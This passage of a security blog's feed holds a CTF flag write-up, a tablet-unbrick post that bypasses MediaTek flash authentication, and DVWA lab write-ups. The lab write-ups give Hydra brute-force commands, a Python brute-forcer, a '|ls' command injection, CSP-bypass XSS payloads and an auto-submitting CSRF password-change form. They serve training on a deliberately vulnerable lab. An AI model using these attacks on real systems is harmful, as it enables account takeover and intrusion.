</span></span></code></pre></div><p>file: <code>Apollo-Mystery.png</code></p>
<p>This is archive file open this with 7zip and there is a new image <code>margaret_flag.png</code> it have flag in it.</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/cyber-heroines-2023/md/8e6aeb0b-054c-495c-8bfa-76fd90eb15ce.webp"></p>
<p>flag: <code>chctf{i_wr1t3_code_by_h4nd}</code></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>How I was able to unbrick my Lenovo TB-7504x</title>
      <link>https://aftabsama.com/blog/unbrick_lenovo-tb-7504x/</link>
      <pubDate>Wed, 28 Jun 2023 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/blog/unbrick_lenovo-tb-7504x/</guid>
      <description>How to unbrick Lenovo TB-7504x tablet using mtkclient to unlock the bootloader. Resolve the boot loop issue and bypass the SP flash tool’s authentication to flash a custom ROM.</description>
      <content:encoded><![CDATA[<p>I wanted to install a custom ROM on my <em>Lenovo TB-7504x</em>.</p>
<p>First, I tried using SDK Platform-tools, but fastboot was not detecting my device in fastboot mode. It turned out that I was not using the correct driver. After installing all the required drivers, the device was detected. However, when I tried using commands, I encountered different errors such as <code>&quot;command unknown&quot;</code> or <code>&quot;can't run when locked&quot;</code> (even though OEM was unlocked and USB debugging was enabled).</p>
<p>I attempted to unlock the bootloader using fastboot and various combinations of commands. I even tried using <code>sn.img</code>, but it didn&rsquo;t work.</p>
<p>Finally, I successfully unlocked the bootloader using <a href="https://github.com/bkerler/mtkclient">mtkclient</a>. Details on how to use this tool can be found in the repository.</p>
<p>However, After unlocking the bootloader, the device goes into a boot loop and displays an error message that says <code>&quot;Device verification failed. Device may not work properly. Booting in 5 seconds</code> and it continues to boot repeatedly.</p>
<p>Then I used the RSA(Rescue and Support Assistant) tool to reset and go back to a normal state, but the process started and failed. Now Device is only showing a black screen. <br>
I tried the SP flash tool to install custom ROM. SP flash tool was able to detect my device(It was not able to previously when the device was working) but it was giving an Authentication error <code>auth file needed</code>. I then tried auth files of other ROMs and different tools to bypass auth but no luck.</p>
<p>At this stage sometimes the SP flash tool was not detecting the device i tried pressing every combination of keys but not working. <br>
When I removed the device from settings under <em>Bluetooth &amp; Devices</em>, disconnected the cable, and used a different USB port the device was now detected.</p>
<p>Finally, I was able to disable auth and install custom ROM using this article: <a href="https://www.getdroidtips.com/bypass-mediateks-sp-flash-tool-authentication-protection/">https://www.getdroidtips.com/bypass-mediateks-sp-flash-tool-authentication-protection/</a></p>
<p>Tools I used:</p>
<ul>
<li><a href="https://github.com/MTK-bypass/bypass_utility/releases">https://github.com/MTK-bypass/bypass_utility/releases</a></li>
<li><a href="https://github.com/MTK-bypass/exploits_collection/releases/tag/v1.6">https://github.com/MTK-bypass/exploits_collection/releases/tag/v1.6</a></li>
<li><a href="https://mtkusbdriver.com/mtk-usb-driver-v1-0-8/">https://mtkusbdriver.com/mtk-usb-driver-v1-0-8/</a></li>
<li><a href="https://spflashtools.com/">https://spflashtools.com/</a></li>
<li><a href="https://github.com/daynix/UsbDk/releases/">https://github.com/daynix/UsbDk/releases/</a></li>
<li><a href="https://droidfilehost.com/download/download-libusb-win32-devel-filter-1-2-6-0-zip/">https://droidfilehost.com/download/download-libusb-win32-devel-filter-1-2-6-0-zip/</a></li>
</ul>
<p>After installing all the tools needed, copy everything from the <code>&quot;exploits_collection&quot;</code> directory to the <code>&quot;bypass_utility&quot;</code> directory. <br>
Now, run the <code>main.py</code> file and connect the device.</p>
<p>Output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">PS </span><span class="n">C:</span><span class="p">\</span><span class="n">Users</span><span class="p">\</span><span class="n">Jack</span><span class="p">\</span><span class="n">Downloads</span><span class="p">\</span><span class="nb">bypass_utility-v</span><span class="p">.</span><span class="py">1</span><span class="p">.</span><span class="py">4</span><span class="p">.</span><span class="mf">2</span><span class="p">\</span><span class="nb">bypass_utility-v</span><span class="p">.</span><span class="py">1</span><span class="p">.</span><span class="py">4</span><span class="p">.</span><span class="mf">2</span><span class="p">&gt;</span> <span class="n">python</span> <span class="p">.\</span><span class="n">main</span><span class="p">.</span><span class="py">py</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="mf">2023</span><span class="p">-</span><span class="mf">06</span><span class="p">-</span><span class="mf">28</span> <span class="mf">10</span><span class="err">:</span><span class="mf">54</span><span class="err">:</span><span class="mf">15.788738</span><span class="p">]</span> <span class="n">Waiting</span> <span class="k">for</span> <span class="n">device</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="mf">2023</span><span class="p">-</span><span class="mf">06</span><span class="p">-</span><span class="mf">28</span> <span class="mf">10</span><span class="err">:</span><span class="mf">54</span><span class="err">:</span><span class="mf">21.156132</span><span class="p">]</span> <span class="n">Found</span> <span class="n">port</span> <span class="p">=</span> <span class="n">COM3</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="mf">2023</span><span class="p">-</span><span class="mf">06</span><span class="p">-</span><span class="mf">28</span> <span class="mf">10</span><span class="err">:</span><span class="mf">54</span><span class="err">:</span><span class="mf">21.257535</span><span class="p">]</span> <span class="n">Device</span> <span class="n">hw</span> <span class="n">code</span><span class="err">:</span> <span class="n">0x335</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="mf">2023</span><span class="p">-</span><span class="mf">06</span><span class="p">-</span><span class="mf">28</span> <span class="mf">10</span><span class="err">:</span><span class="mf">54</span><span class="err">:</span><span class="mf">21.257535</span><span class="p">]</span> <span class="n">Device</span> <span class="n">hw</span> <span class="n">sub</span> <span class="n">code</span><span class="err">:</span> <span class="n">0x8a00</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="mf">2023</span><span class="p">-</span><span class="mf">06</span><span class="p">-</span><span class="mf">28</span> <span class="mf">10</span><span class="err">:</span><span class="mf">54</span><span class="err">:</span><span class="mf">21.257535</span><span class="p">]</span> <span class="n">Device</span> <span class="n">hw</span> <span class="n">version</span><span class="err">:</span> <span class="n">0xcb00</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="mf">2023</span><span class="p">-</span><span class="mf">06</span><span class="p">-</span><span class="mf">28</span> <span class="mf">10</span><span class="err">:</span><span class="mf">54</span><span class="err">:</span><span class="mf">21.257535</span><span class="p">]</span> <span class="n">Device</span> <span class="n">sw</span> <span class="n">version</span><span class="err">:</span> <span class="n">0x0</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="mf">2023</span><span class="p">-</span><span class="mf">06</span><span class="p">-</span><span class="mf">28</span> <span class="mf">10</span><span class="err">:</span><span class="mf">54</span><span class="err">:</span><span class="mf">21.257535</span><span class="p">]</span> <span class="n">Device</span> <span class="n">secure</span> <span class="n">boot</span><span class="err">:</span> <span class="n">True</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="mf">2023</span><span class="p">-</span><span class="mf">06</span><span class="p">-</span><span class="mf">28</span> <span class="mf">10</span><span class="err">:</span><span class="mf">54</span><span class="err">:</span><span class="mf">21.268082</span><span class="p">]</span> <span class="n">Device</span> <span class="n">serial</span> <span class="n">link</span> <span class="n">authorization</span><span class="err">:</span> <span class="n">False</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="mf">2023</span><span class="p">-</span><span class="mf">06</span><span class="p">-</span><span class="mf">28</span> <span class="mf">10</span><span class="err">:</span><span class="mf">54</span><span class="err">:</span><span class="mf">21.268082</span><span class="p">]</span> <span class="n">Device</span> <span class="n">download</span> <span class="n">agent</span> <span class="n">authorization</span><span class="err">:</span> <span class="n">True</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="mf">2023</span><span class="p">-</span><span class="mf">06</span><span class="p">-</span><span class="mf">28</span> <span class="mf">10</span><span class="err">:</span><span class="mf">54</span><span class="err">:</span><span class="mf">21.268082</span><span class="p">]</span> <span class="n">Disabling</span> <span class="n">watchdog</span> <span class="n">timer</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="mf">2023</span><span class="p">-</span><span class="mf">06</span><span class="p">-</span><span class="mf">28</span> <span class="mf">10</span><span class="err">:</span><span class="mf">54</span><span class="err">:</span><span class="mf">21.268082</span><span class="p">]</span> <span class="n">Disabling</span> <span class="n">protection</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="mf">2023</span><span class="p">-</span><span class="mf">06</span><span class="p">-</span><span class="mf">28</span> <span class="mf">10</span><span class="err">:</span><span class="mf">54</span><span class="err">:</span><span class="mf">21.353772</span><span class="p">]</span> <span class="n">Protection</span> <span class="n">disabled</span>
</span></span><span class="line"><span class="cl"><span class="nb">PS </span><span class="n">C:</span><span class="p">\</span><span class="n">Users</span><span class="p">\</span><span class="n">AFTAB</span> <span class="n">SAMA</span><span class="p">\</span><span class="n">Downloads</span><span class="p">\</span><span class="nb">bypass_utility-v</span><span class="p">.</span><span class="py">1</span><span class="p">.</span><span class="py">4</span><span class="p">.</span><span class="mf">2</span><span class="p">\</span><span class="nb">bypass_utility-v</span><span class="p">.</span><span class="py">1</span><span class="p">.</span><span class="py">4</span><span class="p">.</span><span class="mf">2</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>Now, go to the <code>options</code> in the SP flash tool and change the connection setting to <em><code>UART</code></em>.</p>
<p><img alt="Image" loading="lazy" src="/blog/unbrick_lenovo-tb-7504x/images/249391798-035d6f90-4069-4ed7-941d-2236fde54fe7.webp"></p>
<p>Run the SP flash tool and connect the device.</p>
<p><img alt="Image" loading="lazy" src="/blog/unbrick_lenovo-tb-7504x/images/249392390-034940e7-55be-448b-bfe8-122d04112cd7.webp"></p>
<p>Here, I have used the <code>&quot;Lenovo_Tab_7_TB-7504X_MT6737M_HW20_India_S000041_180828_(by_firmwarefile.com)&quot;</code> firmware file with the same model Because It must use the same chipset as the device.</p>
<p>Thank you for reading this far. Happy hacking!</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Brute Force - DVWA</title>
      <link>https://aftabsama.com/writeups/dvwa/brute-force/</link>
      <pubDate>Wed, 17 Aug 2022 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/dvwa/brute-force/</guid>
      <description>The goal is to brute force an HTTP login page.</description>
      <content:encoded><![CDATA[<p>The goal is to brute force an HTTP login page.</p>
<h3 id="security-level-low"><strong>Security level: low</strong></h3>
<p>On submitting the username and password we see that it is using get request</p>
<p><img alt="Challenge page" loading="lazy" src="/writeups/dvwa/brute-force/images/185153021-af373095-102b-4d68-88c7-573499351bc5.webp">
So let’s use hydra for brute force:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 http-get-form &#34;/vulnerabilities/brute/:username=^USER^&amp;password=^PASS^&amp;Login=Login:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=rt5o26sooph0v8p5nuarofj346&#34;
</span></span></code></pre></div><p>Here we are using cookies because if we are not authenticated when we make the login attempts, we will be redirected to default login page.</p>
<p>Output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-Shell" data-lang="Shell"><span class="line"><span class="cl">┌─<span class="o">[</span>aftab@parrot<span class="o">]</span>─<span class="o">[</span>~/Downloads/dvwa<span class="o">]</span>
</span></span><span class="line"><span class="cl">└──╼ <span class="nv">$hydra</span> -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 http-get-form <span class="s2">&#34;/vulnerabilities/brute/:username=^USER^&amp;password=^PASS^&amp;Login=Login:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=rt5o26sooph0v8p5nuarofj346&#34;</span>
</span></span><span class="line"><span class="cl">Hydra v9.3 <span class="o">(</span>c<span class="o">)</span> <span class="m">2022</span> by van Hauser/THC <span class="p">&amp;</span> David Maciejak - Please <span class="k">do</span> not use in military or secret service organizations, or <span class="k">for</span> illegal purposes <span class="o">(</span>this is non-binding, these *** ignore laws and ethics anyway<span class="o">)</span>.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Hydra <span class="o">(</span>https://github.com/vanhauser-thc/thc-hydra<span class="o">)</span> starting at 2022-08-17 23:50:56
</span></span><span class="line"><span class="cl"><span class="o">[</span>WARNING<span class="o">]</span> Restorefile <span class="o">(</span>you have <span class="m">10</span> seconds to abort... <span class="o">(</span>use option -I to skip waiting<span class="o">))</span> from a previous session found, to prevent overwriting, ./hydra.restore
</span></span><span class="line"><span class="cl"><span class="o">[</span>DATA<span class="o">]</span> max <span class="m">16</span> tasks per <span class="m">1</span> server, overall <span class="m">16</span> tasks, <span class="m">14344399</span> login tries <span class="o">(</span>l:1/p:14344399<span class="o">)</span>, ~896525 tries per task
</span></span><span class="line"><span class="cl"><span class="o">[</span>DATA<span class="o">]</span> attacking http-get-form://127.0.0.1:80/vulnerabilities/brute/:username<span class="o">=</span>^USER^<span class="p">&amp;</span><span class="nv">password</span><span class="o">=</span>^PASS^<span class="p">&amp;</span><span class="nv">Login</span><span class="o">=</span>Login:Username and/or password incorrect.:H<span class="o">=</span>Cookie: <span class="nv">security</span><span class="o">=</span>low<span class="p">;</span> <span class="nv">PHPSESSID</span><span class="o">=</span>rt5o26sooph0v8p5nuarofj346
</span></span><span class="line"><span class="cl"><span class="o">[</span>80<span class="o">][</span>http-get-form<span class="o">]</span> host: 127.0.0.1   login: admin   password: password
</span></span><span class="line"><span class="cl"><span class="m">1</span> of <span class="m">1</span> target successfully completed, <span class="m">1</span> valid password found
</span></span><span class="line"><span class="cl">Hydra <span class="o">(</span>https://github.com/vanhauser-thc/thc-hydra<span class="o">)</span> finished at 2022-08-17 23:51:59
</span></span></code></pre></div><p>Login credentials found by hydra:
<code>admin:password</code></p>
<br/>
<h3 id="security-level-medium"><strong>Security level: medium</strong></h3>
<p>It is still using get request.</p>
<p>so lets use hydra again:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">hydra -l admin -P /usr/share/wordlists/rockyou.txt &#39;http-get-form://127.0.0.1/vulnerabilities/brute/:username=^USER^&amp;password=^PASS^&amp;Login=Login:S=Welcome:H=Cookie\: PHPSESSID=j422143437vlsdgqs0t1385420; security=medium&#39;
</span></span></code></pre></div><p>it still work but this time attack takes significantly longer then before.</p>
<p>on analyzing the login functionality we notice that the response is delayed by 2 or 3 seconds on wrong attempt.</p>
<p>Output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-Shell" data-lang="Shell"><span class="line"><span class="cl">┌─<span class="o">[</span>aftab@parrot<span class="o">]</span>─<span class="o">[</span>~/Downloads/dvwa<span class="o">]</span>
</span></span><span class="line"><span class="cl">└──╼ <span class="nv">$hydra</span> -l admin -P /usr/share/wordlists/rockyou.txt <span class="s1">&#39;http-get-form://127.0.0.1/vulnerabilities/brute/:username=^USER^&amp;password=^PASS^&amp;Login=Login:S=Welcome:H=Cookie\: PHPSESSID=j422143437vlsdgqs0t1385420; security=medium&#39;</span>
</span></span><span class="line"><span class="cl">Hydra v9.3 <span class="o">(</span>c<span class="o">)</span> <span class="m">2022</span> by van Hauser/THC <span class="p">&amp;</span> David Maciejak - Please <span class="k">do</span> not use in military or secret service organizations, or <span class="k">for</span> illegal purposes <span class="o">(</span>this is non-binding, these *** ignore laws and ethics anyway<span class="o">)</span>.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Hydra <span class="o">(</span>https://github.com/vanhauser-thc/thc-hydra<span class="o">)</span> starting at 2022-08-18 09:17:45
</span></span><span class="line"><span class="cl"><span class="o">[</span>INFORMATION<span class="o">]</span> escape sequence <span class="se">\:</span> detected in module option, no parameter verification is performed.
</span></span><span class="line"><span class="cl"><span class="o">[</span>DATA<span class="o">]</span> max <span class="m">16</span> tasks per <span class="m">1</span> server, overall <span class="m">16</span> tasks, <span class="m">14344399</span> login tries <span class="o">(</span>l:1/p:14344399<span class="o">)</span>, ~896525 tries per task
</span></span><span class="line"><span class="cl"><span class="o">[</span>DATA<span class="o">]</span> attacking http-get-form://127.0.0.1:80/vulnerabilities/brute/:username<span class="o">=</span>^USER^<span class="p">&amp;</span><span class="nv">password</span><span class="o">=</span>^PASS^<span class="p">&amp;</span><span class="nv">Login</span><span class="o">=</span>Login:S<span class="o">=</span>Welcome:H<span class="o">=</span>Cookie<span class="se">\:</span> <span class="nv">PHPSESSID</span><span class="o">=</span>j422143437vlsdgqs0t1385420<span class="p">;</span> <span class="nv">security</span><span class="o">=</span>medium
</span></span><span class="line"><span class="cl"><span class="o">[</span>80<span class="o">][</span>http-get-form<span class="o">]</span> host: 127.0.0.1   login: admin   password: password
</span></span><span class="line"><span class="cl"><span class="m">1</span> of <span class="m">1</span> target successfully completed, <span class="m">1</span> valid password found
</span></span><span class="line"><span class="cl">Hydra <span class="o">(</span>https://github.com/vanhauser-thc/thc-hydra<span class="o">)</span> finished at 2022-08-18 09:18:50
</span></span></code></pre></div><br/>
<h3 id="security-level-high"><strong>Security level: high</strong></h3>
<p>It&rsquo;s still get request but this time one additional parameter <code>user_token</code></p>
<p>It&rsquo;s using CSRF token so hydra wont help, let&rsquo;s use python this time.</p>
<p>Python code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">bs4</span> <span class="kn">import</span> <span class="n">BeautifulSoup</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">requests.structures</span> <span class="kn">import</span> <span class="n">CaseInsensitiveDict</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">url</span> <span class="o">=</span> <span class="s1">&#39;http://127.0.0.1/vulnerabilities/brute/&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">headers</span> <span class="o">=</span> <span class="n">CaseInsensitiveDict</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">headers</span><span class="p">[</span><span class="s2">&#34;Cookie&#34;</span><span class="p">]</span> <span class="o">=</span> <span class="s2">&#34;security=high; PHPSESSID=j422143437vlsdgqs0t1385420&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">r1</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">content</span>
</span></span><span class="line"><span class="cl"><span class="n">soup</span> <span class="o">=</span> <span class="n">BeautifulSoup</span><span class="p">(</span><span class="n">r1</span><span class="p">,</span> <span class="s1">&#39;html.parser&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">user_token</span> <span class="o">=</span> <span class="n">soup</span><span class="o">.</span><span class="n">findAll</span><span class="p">(</span><span class="s1">&#39;input&#39;</span><span class="p">,</span> <span class="n">attrs</span><span class="o">=</span><span class="p">{</span><span class="s1">&#39;name&#39;</span><span class="p">:</span> <span class="s1">&#39;user_token&#39;</span><span class="p">})[</span><span class="mi">0</span><span class="p">][</span><span class="s1">&#39;value&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;/usr/share/wordlists/rockyou.txt&#34;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">        <span class="n">i</span> <span class="o">=</span> <span class="n">i</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">a1</span> <span class="o">=</span> <span class="n">i</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="k">except</span> <span class="ne">UnicodeDecodeError</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;can`t decode </span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">continue</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="sa">f</span><span class="s1">&#39;http://127.0.0.1/vulnerabilities/brute/?username=admin&amp;password=</span><span class="si">{</span><span class="n">a1</span><span class="si">}</span><span class="s1">&amp;Login=Login&amp;user_token=</span><span class="si">{</span><span class="n">user_token</span><span class="si">}</span><span class="s1">#&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">r1</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">content</span>
</span></span><span class="line"><span class="cl">        <span class="n">soup1</span> <span class="o">=</span> <span class="n">BeautifulSoup</span><span class="p">(</span><span class="n">r1</span><span class="p">,</span> <span class="s1">&#39;html.parser&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">user_token</span> <span class="o">=</span> <span class="n">soup1</span><span class="o">.</span><span class="n">findAll</span><span class="p">(</span><span class="s1">&#39;input&#39;</span><span class="p">,</span> <span class="n">attrs</span><span class="o">=</span><span class="p">{</span><span class="s1">&#39;name&#39;</span><span class="p">:</span> <span class="s1">&#39;user_token&#39;</span><span class="p">})[</span><span class="mi">0</span><span class="p">][</span><span class="s1">&#39;value&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;checking </span><span class="si">{</span><span class="n">a1</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="s1">&#39;Welcome&#39;</span> <span class="ow">in</span> <span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;LoggedIn: username: admin , password:</span><span class="si">{</span><span class="n">a1</span><span class="si">}</span><span class="s1">   ===found===&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span>
</span></span></code></pre></div><p>Output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-Shell" data-lang="Shell"><span class="line"><span class="cl">┌─<span class="o">[</span>aftab@parrot<span class="o">]</span>─<span class="o">[</span>~/Downloads/dvwa<span class="o">]</span>
</span></span><span class="line"><span class="cl">└──╼ <span class="nv">$python</span> brute_high.py
</span></span><span class="line"><span class="cl">checking <span class="m">123456</span>
</span></span><span class="line"><span class="cl">checking <span class="m">12345</span>
</span></span><span class="line"><span class="cl">checking <span class="m">123456789</span>
</span></span><span class="line"><span class="cl">checking password
</span></span><span class="line"><span class="cl">LoggedIn: username: admin , password:password   <span class="o">===</span><span class="nv">found</span><span class="o">===</span>
</span></span></code></pre></div><p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Command Injection - DVWA</title>
      <link>https://aftabsama.com/writeups/dvwa/command-injection/</link>
      <pubDate>Wed, 17 Aug 2022 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/dvwa/command-injection/</guid>
      <description>Perform command injection using the ping functionality.</description>
      <content:encoded><![CDATA[<img width="467" alt="image" src="https://user-images.githubusercontent.com/79740895/185295923-7a149c9d-8f1e-4262-ae0a-3884514462ac.png">
<p>we are given with functionality to ping device. we give ip or domain to ping.</p>
<p>input: localhost</p>
<p>output:</p>
<img width="463" alt="image" src="https://user-images.githubusercontent.com/79740895/185296846-d2795040-d782-4d85-af22-5197875b0f91.png">
<p>This is about command injection so backend must be appending our input ping command.</p>
<p>we can give our arbitrary command to execute with the help of pipe <code>|</code> ,so let&rsquo;s create a simple payload :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">|ls
</span></span></code></pre></div><img width="467" alt="image" src="https://user-images.githubusercontent.com/79740895/185297755-e48d1fc7-cccd-4a81-acf3-3558ffb70366.png">
<p><em>it works on all low, medium and high.</em></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Content Security Policy (CSP) Bypass - DVWA</title>
      <link>https://aftabsama.com/writeups/dvwa/content-security-policy-csp-bypass/</link>
      <pubDate>Wed, 17 Aug 2022 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/dvwa/content-security-policy-csp-bypass/</guid>
      <description>Quest: Ensure Access &amp;amp; Identity in Google Cloud</description>
      <content:encoded><![CDATA[<h3 id="security-level-is-currently-low"><strong>Security level is currently: low.</strong></h3>
<p>from CSP we can import script from pastebin.com, so let&rsquo;s put our script on pastebin and include that link:</p>
<p>payload=<code>https://pastebin.com/dl/Lnamji4V</code></p>
<p>this JavaScript is executed on page.</p>
<h3 id="security-level-is-currently-medium"><strong>Security level is currently: medium.</strong></h3>
<p>It&rsquo;s using nonce to prevent execution of JavaScript includ but this value is static so we can add this to our payload:</p>
<p>nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=</p>
<p>payload=<code>&lt;script nonce=&quot;TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=&quot;&gt;alert(document.cookie)&lt;/script&gt;</code></p>
<h3 id="security-level-is-currently-high"><strong>Security level is currently: high.</strong></h3>
<p>It is making request to <code>http://192.168.170.131/vulnerabilities/csp/source/jsonp.php?callback=solveSum</code> to solve this lab we have to intercept this request
and anything we set to callback&rsquo;s value wil be executed so we can modify it to <code>callback=alert(document.cookie);</code>  and alert will pop up.</p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Cross Site Request Forgery (CSRF) - DVWA</title>
      <link>https://aftabsama.com/writeups/dvwa/cross-site-request-forgery-csrf/</link>
      <pubDate>Wed, 17 Aug 2022 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/dvwa/cross-site-request-forgery-csrf/</guid>
      <description>Changing the victim&amp;rsquo;s password using CSRF.</description>
      <content:encoded><![CDATA[<h3 id="security-level-low"><strong>Security level: low</strong></h3>
<img width="827" alt="image" src="https://user-images.githubusercontent.com/79740895/185393318-096ce7f2-f881-4aee-ba63-1a6c2074fb52.png">
<p>Here we can change password, there is no csrf protection. We can create simple form to auto submit and change password of victim.</p>
<p>HTML code for CSRF:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span><span class="nx">history</span><span class="p">.</span><span class="nx">pushState</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">,</span> <span class="s1">&#39;/&#39;</span><span class="p">)&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">form</span> <span class="na">action</span><span class="o">=</span><span class="s">&#34;http://192.168.170.131/vulnerabilities/csrf/&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;hidden&#34;</span> <span class="na">name</span><span class="o">=</span><span class="s">&#34;password&amp;#95;new&#34;</span> <span class="na">value</span><span class="o">=</span><span class="s">&#34;pass&#34;</span> <span class="p">/&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;hidden&#34;</span> <span class="na">name</span><span class="o">=</span><span class="s">&#34;password&amp;#95;conf&#34;</span> <span class="na">value</span><span class="o">=</span><span class="s">&#34;pass&#34;</span> <span class="p">/&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;hidden&#34;</span> <span class="na">name</span><span class="o">=</span><span class="s">&#34;Change&#34;</span> <span class="na">value</span><span class="o">=</span><span class="s">&#34;Change&#34;</span> <span class="p">/&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;submit&#34;</span> <span class="na">value</span><span class="o">=</span><span class="s">&#34;Submit request&#34;</span> <span class="p">/&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">form</span><span class="p">&gt;</span>
